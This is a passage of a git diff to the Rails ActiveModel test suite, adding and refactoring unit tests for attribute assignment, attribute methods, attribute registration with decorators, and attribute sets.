+    def each_pair(&block)
+      @parameters.each_pair(&block)
     end
 
     def dup
@@ -69,6 +68,14 @@ def dup
     assert_equal "world", model.description
   end
 
+  test "simple assignment alias" do
+    model = Model.new
+
+    model.attributes = { name: "hello", description: "world" }
+    assert_equal "hello", model.name
+    assert_equal "world", model.description
+  end
+
   test "assign non-existing attribute" do
     model = Model.new
     error = assert_raises(ActiveModel::UnknownAttributeError) do
@@ -79,6 +86,19 @@ def dup
     assert_equal "hz", error.attribute
   end
 
+  test "assign non-existing attribute by overriding #attribute_writer_missing" do
+    model_class = Class.new(Model) do
+      attr_accessor :assigned_attributes
+
+      def attribute_writer_missing(name, value) = @assigned_attributes[name] = value
+    end
+    model = model_class.new(assigned_attributes: {})
+
+    model.assign_attributes unknown: "attribute"
+
+    assert_equal({ "unknown" => "attribute" }, model.assigned_attributes)
+  end
+
   test "assign private attribute" do
     model = Model.new
     assert_raises(ActiveModel::UnknownAttributeError) do
@@ -93,9 +113,11 @@ def dup
   end
 
   test "an ArgumentError is raised if a non-hash-like object is passed" do
-    assert_raises(ArgumentError) do
+    err = assert_raises(ArgumentError) do
       Model.new(1)
     end
+
+    assert_equal("When assigning attributes, you must pass a hash as an argument, Integer passed.", err.message)
   end
 
   test "forbidden attributes cannot be used for mass assignment" do
@@ -126,4 +148,14 @@ def dup
     model = Model.new
     assert_nil model.assign_attributes(ProtectedParams.new({}))
   end
+
+  test "passing an object with each_pair but without each" do
+    model = Model.new
+    h = { name: "hello", description: "world" }
+    h.instance_eval { undef :each }
+    model.assign_attributes(h)
+
+    assert_equal "hello", model.name
+    assert_equal "world", model.description
+  end
 end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index 4767accb7cec9..349aeec376548 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class ModelWithAttributes
@@ -24,21 +26,26 @@ class ModelWithAttributes2
 
   attr_accessor :attributes
 
-  attribute_method_suffix "_test"
+  attribute_method_suffix "_test", "_kw"
 
 private
   def attribute(name)
     attributes[name.to_s]
   end
 
-  alias attribute_test attribute
+  def attribute_test(name, attrs = {})
+    attrs[name] = attribute(name)
+  end
+
+  def attribute_kw(name, kw: 1)
+    attribute(name)
+  end
 
   def private_method
     "<3 <3"
   end
 
 protected
-
   def protected_method
     "O_o O_o"
   end
@@ -99,24 +106,50 @@ class AttributeMethodsTest < ActiveModel::TestCase
   end
 
   test "unrelated classes should not share attribute method matchers" do
-    assert_not_equal ModelWithAttributes.send(:attribute_method_matchers),
-                     ModelWithAttributes2.send(:attribute_method_matchers)
+    assert_not_equal ModelWithAttributes.public_send(:attribute_method_patterns),
+                     ModelWithAttributes2.public_send(:attribute_method_patterns)
   end
 
   test "#define_attribute_method generates attribute method" do
-    begin
-      ModelWithAttributes.define_attribute_method(:foo)
+    ModelWithAttributes.define_attribute_method(:foo)
+
+    assert_respond_to ModelWithAttributes.new, :foo
+    assert_equal "value of foo", ModelWithAttributes.new.foo
+  ensure
+    ModelWithAttributes.undefine_attribute_methods
+  end
+
+  test "#define_attribute_methods defines alias attribute methods after undefining" do
+    topic_class = Class.new do
+      include ActiveModel::AttributeMethods
+      define_attribute_methods :title
+      alias_attribute :aliased_title_to_be_redefined, :title
 
-      assert_respond_to ModelWithAttributes.new, :foo
-      assert_equal "value of foo", ModelWithAttributes.new.foo
-    ensure
-      ModelWithAttributes.undefine_attribute_methods
+      def attributes
+        { title: "Active Model Topic" }
+      end
+
+      private
+        def attribute(name)
+          attributes[name.to_sym]
+        end
     end
+
+    topic = topic_class.new
+    assert_equal("Active Model Topic", topic.aliased_title_to_be_redefined)
+    topic_class.undefine_attribute_methods
+
+    assert_not_respond_to topic, :aliased_title_to_be_redefined
+
+    topic_class.define_attribute_methods :title
+
+    assert_respond_to topic, :aliased_title_to_be_redefined
+    assert_equal "Active Model Topic", topic.aliased_title_to_be_redefined
   end
 
   test "#define_attribute_method does not generate attribute method if already defined in attribute module" do
     klass = Class.new(ModelWithAttributes)
-    klass.generated_attribute_methods.module_eval do
+    klass.send(:generated_attribute_methods).module_eval do
       def foo
         "<3"
       end
@@ -138,36 +171,30 @@ def foo
   end
 
   test "#define_attribute_method generates attribute method with invalid identifier characters" do
-    begin
-      ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+    ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
 
-      assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
-      assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send("a?b")
-    ensure
-      ModelWithWeirdNamesAttributes.undefine_attribute_methods
-    end
+    assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+    assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.public_send("a?b")
+  ensure
+    ModelWithWeirdNamesAttributes.undefine_attribute_methods
   end
 
   test "#define_attribute_methods works passing multiple arguments" do
-    begin
-      ModelWithAttributes.define_attribute_methods(:foo, :baz)
+    ModelWithAttributes.define_attribute_methods(:foo, :baz)
 
-      assert_equal "value of foo", ModelWithAttributes.new.foo
-      assert_equal "value of baz", ModelWithAttributes.new.baz
-    ensure
-      ModelWithAttributes.undefine_attribute_methods
-    end
+    assert_equal "value of foo", ModelWithAttributes.new.foo
+    assert_equal "value of baz", ModelWithAttributes.new.baz
+  ensure
+    ModelWithAttributes.undefine_attribute_methods
   end
 
   test "#define_attribute_methods generates attribute methods" do
-    begin
-      ModelWithAttributes.define_attribute_methods(:foo)
+    ModelWithAttributes.define_attribute_methods(:foo)
 
-      assert_respond_to ModelWithAttributes.new, :foo
-      assert_equal "value of foo", ModelWithAttributes.new.foo
-    ensure
-      ModelWithAttributes.undefine_attribute_methods
-    end
+    assert_respond_to ModelWithAttributes.new, :foo
+    assert_equal "value of foo", ModelWithAttributes.new.foo
+  ensure
+    ModelWithAttributes.undefine_attribute_methods
   end
 
   test "#alias_attribute generates attribute_aliases lookup hash" do
@@ -180,54 +207,90 @@ def foo
   end
 
   test "#define_attribute_methods generates attribute methods with spaces in their names" do
-    begin
-      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
 
-      assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
-      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
-    ensure
-      ModelWithAttributesWithSpaces.undefine_attribute_methods
-    end
+    assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.public_send(:'foo bar')
+  ensure
+    ModelWithAttributesWithSpaces.undefine_attribute_methods
   end
 
   test "#alias_attribute works with attributes with spaces in their names" do
-    begin
-      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
-      ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+    ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
 
-      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
-    ensure
-      ModelWithAttributesWithSpaces.undefine_attribute_methods
-    end
+    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+  ensure
+    ModelWithAttributesWithSpaces.undefine_attribute_methods
   end
 
   test "#alias_attribute works with attributes named as a ruby keyword" do
-    begin
-      ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
-      ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
-      ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
-
-      assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
-      assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
-    ensure
-      ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
-    end
+    ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+    ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+    ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+    assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+    assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+  ensure
+    ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
   end
 
   test "#undefine_attribute_methods removes attribute methods" do
     ModelWithAttributes.define_attribute_methods(:foo)
     ModelWithAttributes.undefine_attribute_methods
 
-    assert !ModelWithAttributes.new.respond_to?(:foo)
+    assert_not_respond_to ModelWithAttributes.new, :foo
     assert_raises(NoMethodError) { ModelWithAttributes.new.foo }
   end
 
+  test "#undefine_attribute_methods undefines alias attribute methods" do
+    topic_class = Class.new do
+      include ActiveModel::AttributeMethods
+      define_attribute_methods :title
+      alias_attribute :subject_to_be_undefined, :title
+
+      def attributes
+        { title: "Active Model Topic" }
+      end
+
+      private
+        def attribute(name)
+          attributes[name.to_sym]
+        end
+    end
+
+    assert_equal("Active Model Topic", topic_class.new.subject_to_be_undefined)
+    topic_class.undefine_attribute_methods
+
+    assert_raises(NoMethodError, match: /undefined method [`']subject_to_be_undefined'/) do
+      topic_class.new.subject_to_be_undefined
+    end
+  end
+
   test "accessing a suffixed attribute" do
     m = ModelWithAttributes2.new
     m.attributes = { "foo" => "bar" }
+    attrs = {}
 
     assert_equal "bar", m.foo
-    assert_equal "bar", m.foo_test
+    assert_equal "bar", m.foo_kw(kw: 2)
+    assert_equal "bar", m.foo_test(attrs)
+    assert_equal "bar", attrs["foo"]
+  end
+
+  test "defined attribute doesn't expand positional hash argument" do
+    ModelWithAttributes2.define_attribute_methods(:foo)
+
+    m = ModelWithAttributes2.new
+    m.attributes = { "foo" => "bar" }
+    attrs = {}
+
+    assert_equal "bar", m.foo
+    assert_equal "bar", m.foo_kw(kw: 2)
+    assert_equal "bar", m.foo_test(attrs)
+    assert_equal "bar", attrs["foo"]
+  ensure
+    ModelWithAttributes2.undefine_attribute_methods
   end
 
   test "should not interfere with method_missing if the attr has a private/protected method" do
@@ -253,7 +316,7 @@ def protected_method
     m = ModelWithAttributes2.new
     m.attributes = { "private_method" => "<3", "protected_method" => "O_o" }
 
-    assert !m.respond_to?(:private_method)
+    assert_not_respond_to m, :private_method
     assert m.respond_to?(:private_method, true)
 
     c = ClassWithProtected.new
@@ -275,7 +338,77 @@ def m.attribute_missing(match, *args, &block)
     match = m.foo_test
 
     assert_equal "foo",            match.attr_name
-    assert_equal "attribute_test", match.target
-    assert_equal "foo_test",       match.method_name
+    assert_equal "attribute_test", match.proxy_target
+  end
+
+  module NameClash
+    class Model1
+      include ActiveModel::AttributeMethods
+      attribute_method_suffix "_changed?"
+      define_attribute_methods :x
+      attr_accessor :x
+
+      private
+        def attribute_changed?(name)
+          :model_1
+        end
+    end
+
+    class Model2
+      include ActiveModel::AttributeMethods
+      attribute_method_suffix "?"
+      define_attribute_methods :x_changed
+      attr_accessor :x_changed
+
+      private
+        def attribute?(name)
+          :model_2
+        end
+    end
+  end
+
+  test "name clashes are handled" do
+    assert_equal :model_1, NameClash::Model1.new.x_changed?
+    assert_equal :model_2, NameClash::Model2.new.x_changed?
+  end
+
+  test "alias attribute respects user defined method" do
+    model = Class.new do
+      include ActiveModel::AttributeMethods
+
+      attr_accessor :name
+      define_attribute_methods :name
+
+      alias_attribute :nickname, :name
+
+      def initialize(name)
+        @name = name
+      end
+    end
+
+    instance = model.new("George")
+    assert_equal "George", instance.name
+    assert_equal "George", instance.nickname
+  end
+
+  test "alias attribute respects user defined method in parent classes" do
+    model = Class.new do
+      include ActiveModel::AttributeMethods
+
+      attr_accessor :name
+      define_attribute_methods :name
+
+      def initialize(name)
+        @name = name
+      end
+    end
+
+    subclass = Class.new(model) do
+      alias_attribute :nickname, :name
+    end
+
+    instance = subclass.new("George")
+    assert_equal "George", instance.name
+    assert_equal "George", instance.nickname
   end
 end
diff --git a/activemodel/test/cases/attribute_registration_test.rb b/activemodel/test/cases/attribute_registration_test.rb
new file mode 100644
index 0000000000000..a73c8c5fb68cb
--- /dev/null
+++ b/activemodel/test/cases/attribute_registration_test.rb
@@ -0,0 +1,258 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveModel
+  class AttributeRegistrationTest < ActiveModel::TestCase
+    MyType = Class.new(Type::Value)
+    Type.register(MyType.name.to_sym, MyType)
+
+    TYPE_1 = MyType.new(precision: 1)
+    TYPE_2 = MyType.new(precision: 2)
+
+    MyDecorator = ActiveSupport::Delegation::DelegateClass(Type::Value) do
+      attr_reader :name
+      alias :cast_type :__getobj__
+
+      def initialize(name, cast_type)
+        super(cast_type)
+        @name = name
+      end
+    end
+
+    test "attributes can be registered" do
+      attributes = default_attributes_for { attribute :foo, TYPE_1 }
+      assert_same TYPE_1, attributes["foo"].type
+    end
+
+    test "the default type is used when type is omitted" do
+      attributes = default_attributes_for { attribute :foo }
+      assert_equal Type::Value.new, attributes["foo"].type
+    end
+
+    test "type is resolved when specified by name" do
+      attributes = default_attributes_for { attribute :foo, MyType.name.to_sym }
+      assert_instance_of MyType, attributes["foo"].type
+    end
+
+    test "type options are forwarded when type is specified by name" do
+      attributes = default_attributes_for { attribute :foo, MyType.name.to_sym, precision: 123 }
+      assert_equal 123, attributes["foo"].type.precision
+    end
+
+    test "default value can be specified" do
+      attributes = default_attributes_for do
+        attribute :foo, TYPE_1, default: 123
+        attribute :bar, TYPE_2
+        attribute :bar, default: 456
+      end
+
+      assert_same TYPE_1, attributes["foo"].type
+      assert_equal 123, attributes["foo"].value
+      assert_same TYPE_2, attributes["bar"].type
+      assert_equal 456, attributes["bar"].value
+    end
+
+    test "default value can be nil" do
+      attributes = default_attributes_for do
+        attribute :foo, default: nil
+        attribute :bar
+      end
+
+      assert_predicate attributes["foo"], :came_from_user?
+      assert_not_predicate attributes["bar"], :came_from_user?
+    end
+
+    test ".attribute_types reflects registered attribute types" do
+      klass = class_with { attribute :foo, TYPE_1 }
+      assert_same TYPE_1, klass.attribute_types["foo"]
+    end
+
+    test ".attribute_types returns the default type when key is missing" do
+      klass = class_with { attribute :foo, TYPE_1 }
+      assert_equal Type::Value.new, klass.attribute_types["bar"]
+    end
+
+    test ".type_for_attribute returns the registered attribute type" do
+      klass = class_with { attribute :foo, TYPE_1 }
+      assert_same TYPE_1, klass.type_for_attribute("foo")
+      assert_same TYPE_1, klass.type_for_attribute(:foo)
+    end
+
+    test ".type_for_attribute returns the default type when an unregistered attribute is specified" do
+      klass = class_with { attribute :foo, TYPE_1 }
+      assert_equal Type::Value.new, klass.type_for_attribute("bar")
+    end
+
+    test "new attributes can be registered at any time" do
+      klass = class_with { attribute :foo, TYPE_1 }
+      assert_includes klass._default_attributes, "foo"
+      assert_not_includes klass._default_attributes, "bar"
+      assert_same TYPE_1, klass.attribute_types["foo"]
+
+      klass.attribute :bar, TYPE_2
+      assert_includes klass._default_attributes, "foo"
+      assert_includes klass._default_attributes, "bar"
+      assert_same TYPE_1, klass.attribute_types["foo"]
+      assert_same TYPE_2, klass.attribute_types["bar"]
+    end
+
+    test "attributes are inherited" do
+      parent = class_with do
+        attribute :foo, TYPE_1, default: 123
+      end
+
+      child = Class.new(parent)
+
+      assert_same parent._default_attributes["foo"].type, child._default_attributes["foo"].type
+      assert_same parent._default_attributes["foo"].value, child._default_attributes["foo"].value
+    end
+
+    test "subclass attributes do not affect superclass" do
+      parent = class_with { attribute :foo }
+      child = class_with(parent) { attribute :bar }
+
+      assert_not_includes parent._default_attributes, "bar"
+      assert_includes child._default_attributes, "bar"
+    end
+
+    test "new superclass attributes are inherited even after subclass attributes are registered" do
+      parent = class_with { attribute :foo }
+      child = class_with(parent) { attribute :bar }
+      parent.attribute :qux
+
+      assert_includes child._default_attributes, "qux"
+    end
+
+    test "new superclass attributes do not override subclass attributes" do
+      parent = class_with { attribute :bar }
+      child = class_with(parent) { attribute :foo, TYPE_1 }
+      parent.attribute :foo, TYPE_2
+
+      assert_same TYPE_1, child._default_attributes["foo"].type
+    end
+
+    test "superclass attributes can be overridden" do
+      parent = class_with { attribute :foo, TYPE_1 }
+      child = class_with(parent) { attribute :foo, TYPE_2 }
+
+      assert_same TYPE_2, child._default_attributes["foo"].type
+      assert_same TYPE_1, parent._default_attributes["foo"].type
+    end
+
+    test "superclass default values can be overridden" do
+      parent = class_with do
+        attribute :foo, TYPE_1, default: 123
+        attribute :bar, TYPE_2
+      end
+
+      child = class_with(parent) do
+        attribute :foo, default: 456
+        attribute :bar, default: 789
+      end
+
+      assert_same TYPE_1, child._default_attributes["foo"].type
+      assert_same TYPE_2, child._default_attributes["bar"].type
+      assert_equal 456, child._default_attributes["foo"].value
+      assert_equal 789, child._default_attributes["bar"].value
+      assert_equal 123, parent._default_attributes["foo"].value
+      assert_nil parent._default_attributes["bar"].value
+    end
+
+    test ".decorate_attributes decorates specified attributes" do
+      attributes = default_attributes_for do
+        attribute :foo, TYPE_1
+        attribute :bar, TYPE_2
+        attribute :qux, TYPE_2
+        decorate_attributes([:foo, :bar]) { |name, type| MyDecorator.new(name, type) }
+      end
+
+      assert_instance_of MyDecorator, attributes["foo"].type
+      assert_equal "foo", attributes["foo"].type.name
+      assert_same TYPE_1, attributes["foo"].type.cast_type
+
+      assert_instance_of MyDecorator, attributes["bar"].type
+      assert_equal "bar", attributes["bar"].type.name
+      assert_same TYPE_2, attributes["bar"].type.cast_type
+
+      assert_same TYPE_2, attributes["qux"].type
+    end
+
+    test ".decorate_attributes decorates all attributes when none are specified" do
+      attributes = default_attributes_for do
+        attribute :foo, TYPE_1
+        attribute :bar, TYPE_2
+        decorate_attributes { |name, type| MyDecorator.new(name, type) }
+      end
+
+      assert_same TYPE_1, attributes["foo"].type.cast_type
+      assert_same TYPE_2, attributes["bar"].type.cast_type
+    end
+
+    test ".decorate_attributes supports conditional decoration" do
+      attributes = default_attributes_for do
+        attribute :foo, TYPE_1
+        attribute :bar, TYPE_2
+        decorate_attributes { |name, type| MyDecorator.new(name, type) if name.match?(/oo/) }
+      end
+
+      assert_same TYPE_1, attributes["foo"].type.cast_type
+      assert_same TYPE_2, attributes["bar"].type
+    end
+
+    test ".decorate_attributes stacks decorators" do
+      attributes = default_attributes_for do
+        attribute :foo, TYPE_1
+        decorate_attributes { |name, type| MyDecorator.new("#{name}1", type) }
+        decorate_attributes { |name, type| MyDecorator.new("#{name}2", type) }
+      end
+
+      assert_instance_of MyDecorator, attributes["foo"].type
+      assert_equal "foo2", attributes["foo"].type.name
+
+      assert_instance_of MyDecorator, attributes["foo"].type.cast_type
+      assert_equal "foo1", attributes["foo"].type.cast_type.name
+
+      assert_same TYPE_1, attributes["foo"].type.cast_type.cast_type
+    end
+
+    test "superclass attribute types can be decorated" do
+      parent = class_with do
+        attribute :foo, TYPE_1
+      end
+
+      child = class_with(parent) do
+        decorate_attributes { |name, type| MyDecorator.new(name, type) }
+      end
+
+      assert_instance_of MyDecorator, child._default_attributes["foo"].type
+      assert_same TYPE_1, child._default_attributes["foo"].type.cast_type
+      assert_same TYPE_1, parent._default_attributes["foo"].type
+    end
+
+    test "re-registering an attribute overrides previous decorators" do
+      parent = class_with do
+        attribute :foo, TYPE_1
+        decorate_attributes { |name, type| MyDecorator.new(name, type) }
+      end
+
+      child = class_with(parent) do
+        attribute :foo, TYPE_1
+      end
+
+      assert_same TYPE_1, child._default_attributes["foo"].type
+    end
+
+    private
+      def class_with(base_class = nil, &block)
+        Class.new(*base_class) do
+          include AttributeRegistration
+          instance_eval(&block)
+        end
+      end
+
+      def default_attributes_for(&block)
+        class_with(&block)._default_attributes
+      end
+  end
+end
diff --git a/activemodel/test/cases/attribute_set_test.rb b/activemodel/test/cases/attribute_set_test.rb
new file mode 100644
index 0000000000000..2c3eff3a0092e
--- /dev/null
+++ b/activemodel/test/cases/attribute_set_test.rb
@@ -0,0 +1,328 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/attribute_set"
+require "json"
+
+module ActiveModel
+  class AttributeSetTest < ActiveModel::TestCase
+    test "building a new set from raw attributes" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2.2, attributes[:bar].value
+      assert_equal :foo, attributes[:foo].name
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "building with custom types" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database({ foo: "3.3", bar: "4.4" }, { bar: Type::Integer.new })
+
+      assert_equal 3.3, attributes[:foo].value
+      assert_equal 4, attributes[:bar].value
+    end
+
+    test "[] returns a null object" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database(foo: "3.3")
+
+      assert_equal "3.3", attributes[:foo].value_before_type_cast
+      assert_nil attributes[:bar].value_before_type_cast
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "duping creates a new hash, but does not dup the attributes" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+      attributes = builder.build_from_database(foo: 1, bar: "foo")
+
+      # Ensure the type cast value is cached
+      attributes[:foo].value
+      attributes[:bar].value
+
+      duped = attributes.dup
+      duped.write_from_database(:foo, 2)
+      duped[:bar].value << "bar"
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2, duped[:foo].value
+      assert_equal "foobar", attributes[:bar].value
+      assert_equal "foobar", duped[:bar].value
+    end
+
+    test "deep_duping creates a new hash and dups each attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+      attributes = builder.build_from_database(foo: 1, bar: "foo")
+
+      # Ensure the type cast value is cached
+      attributes[:foo].value
+      attributes[:bar].value
+
+      duped = attributes.deep_dup
+      duped.write_from_database(:foo, 2)
+      duped[:bar].value << "bar"
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2, duped[:foo].value
+      assert_equal "foo", attributes[:bar].value
+      assert_equal "foobar", duped[:bar].value
+    end
+
+    test "freezing cloned set does not freeze original" do
+      attributes = AttributeSet.new({})
+      clone = attributes.clone
+
+      clone.freeze
+
+      assert_predicate clone, :frozen?
+      assert_not_predicate attributes, :frozen?
+    end
+
+    test "to_hash returns a hash of the type cast values" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_hash)
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_h)
+    end
+
+    test "to_hash maintains order" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "2.2", bar: "3.3")
+
+      attributes[:bar]
+      hash = attributes.to_h
+
+      assert_equal [[:foo, 2], [:bar, 3.3]], hash.to_a
+    end
+
+    test "values_before_type_cast" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal({ foo: "1.1", bar: "2.2" }, attributes.values_before_type_cast)
+    end
+
+    test "known columns are built with uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert_predicate attributes[:foo], :initialized?
+      assert_not_predicate attributes[:bar], :initialized?
+    end
+
+    test "uninitialized attributes are not included in the attributes hash" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal({ foo: 1 }, attributes.to_hash)
+    end
+
+    test "uninitialized attributes are not included in keys" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal [:foo], attributes.keys
+    end
+
+    test "uninitialized attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert attributes.key?(:foo)
+      assert_not attributes.key?(:bar)
+    end
+
+    test "unknown attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert_not attributes.key?(:wibble)
+    end
+
+    test "fetch_value returns the value for the given initialized attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
+
+      assert_equal 1, attributes.fetch_value(:foo)
+      assert_equal 2.2, attributes.fetch_value(:bar)
+    end
+
+    test "fetch_value returns nil for unknown attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value returns nil for unknown attributes when types has a default" do
+      types = Hash.new(Type::Value.new)
+      builder = AttributeSet::Builder.new(types)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value uses the given block for uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      value = attributes.fetch_value(:bar) { |n| n.to_s + "!" }
+      assert_equal "bar!", value
+    end
+
+    test "fetch_value returns nil for uninitialized attributes if no block is given" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:bar)
+    end
+
+    test "the primary_key is always initialized" do
+      defaults = { foo: Attribute.from_user(:foo, nil, nil) }
+      builder = AttributeSet::Builder.new({ foo: Type::Integer.new }, defaults)
+      attributes = builder.build_from_database
+
+      assert attributes.key?(:foo)
+      assert_equal [:foo], attributes.keys
+      assert_predicate attributes[:foo], :initialized?
+    end
+
+    class MyType
+      def cast(value)
+        return if value.nil?
+        value + " from user"
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        value + " from database"
+      end
+
+      def assert_valid_value(*)
+      end
+    end
+
+    test "write_from_database sets the attribute with database typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_database(:foo, "value")
+
+      assert_equal "value from database", attributes.fetch_value(:foo)
+    end
+
+    test "write_from_user sets the attribute with user typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_user(:foo, "value")
+
+      assert_equal "value from user", attributes.fetch_value(:foo)
+    end
+
+    class MySerializedType < ::ActiveModel::Type::Value
+      def serialize(value)
+        value + " serialized"
+      end
+    end
+
+    test "values_for_database" do
+      builder = AttributeSet::Builder.new(foo: MySerializedType.new)
+      attributes = builder.build_from_database
+
+      attributes.write_from_user(:foo, "value")
+
+      assert_equal({ foo: "value serialized" }, attributes.values_for_database)
+    end
+
+    test "freezing doesn't prevent the set from materializing" do
+      builder = AttributeSet::Builder.new(foo: Type::String.new)
+      attributes = builder.build_from_database(foo: "1")
+
+      attributes.freeze
+      assert_equal({ foo: "1" }, attributes.to_hash)
+    end
+
+    test "marshalling dump/load materialized attribute hash" do
+      builder = AttributeSet::Builder.new(foo: Type::String.new)
+
+      def builder.build_from_database(values = {}, additional_types = {})
+        attributes = LazyAttributeHash.new(types, values, additional_types, default_attributes)
+        AttributeSet.new(attributes)
+      end
+
+      attributes = builder.build_from_database(foo: "1")
+
+      data = Marshal.dump(attributes)
+      attributes = Marshal.load(data)
+      assert_equal({ foo: "1" }, attributes.to_hash)
+    end
+
+    test "#accessed_attributes returns only attributes which have been read" do
+      builder = AttributeSet::Builder.new(foo: Type::Value.new, bar: Type::Value.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+
+      assert_equal [], attributes.accessed
+
+      attributes.fetch_value(:foo)
+
+      assert_equal [:foo], attributes.accessed
+    end
+
+    test "#map returns a new attribute set with the changes applied" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+      new_attributes = attributes.map do |attr|
+        attr.with_cast_value(attr.value + 1)
+      end
+
+      assert_equal 2, new_attributes.fetch_value(:foo)
+      assert_equal 3, new_attributes.fetch_value(:bar)
+    end
+
+    test "comparison for equality is correctly implemented" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+      attributes2 = builder.build_from_database(foo: "1", bar: "2")
+      attributes3 = builder.build_from_database(foo: "2", bar: "2")
+      attributes4 = attributes.deep_dup
+
+      assert_equal attributes, attributes2
+      assert_not_equal attributes2, attributes3
+      assert_equal attributes, attributes4
+      assert_equal attributes4, attributes
+    end
+
+    test "==(other) is safe to use with any instance" do
+      attribute_set = AttributeSet.new({})
+
+      assert_equal false, attribute_set == nil
+      assert_equal false, attribute_set == 1
+      assert_equal true, attribute_set == attribute_set
+    end
+
+    class CustomMutableType < ::ActiveModel::Type::Value
+      def serialize(value)
+        return if value.nil?
+        JSON.dump(value)
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        JSON.parse(value)
+      end
+
+      def changed_in_place?(old_value, new_value)
+        deserialize(old_value) != new_value
+      end
+    end
+
+    test "custom type is mutable" do
+      type = CustomMutableType.new()
+      attribute_set = AttributeSet::Builder.new(foo: type).build_from_database(foo: "[]")
+
+      # Ensure the type cast value is cached
+      attribute_set[:foo].value
+
+      dup = attribute_set.deep_dup
+      dup[:foo].value << "2"
+      assert_not_equal attribute_set[:foo].value, dup[:foo].value
+    end
+
+    private
+      def attributes_with_uninitialized_key
+        builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+        builder.build_from_database(foo: "1.1")
+      end
+  end
+end
diff --git a/activemodel/test/cases/attribute_test.rb b/activemodel/test/cases/attribute_test.rb
new file mode 100644
index 0000000000000..d3adec9fb7d9f
--- /dev/null
+++ b/activemodel/test/cases/attribute_test.rb
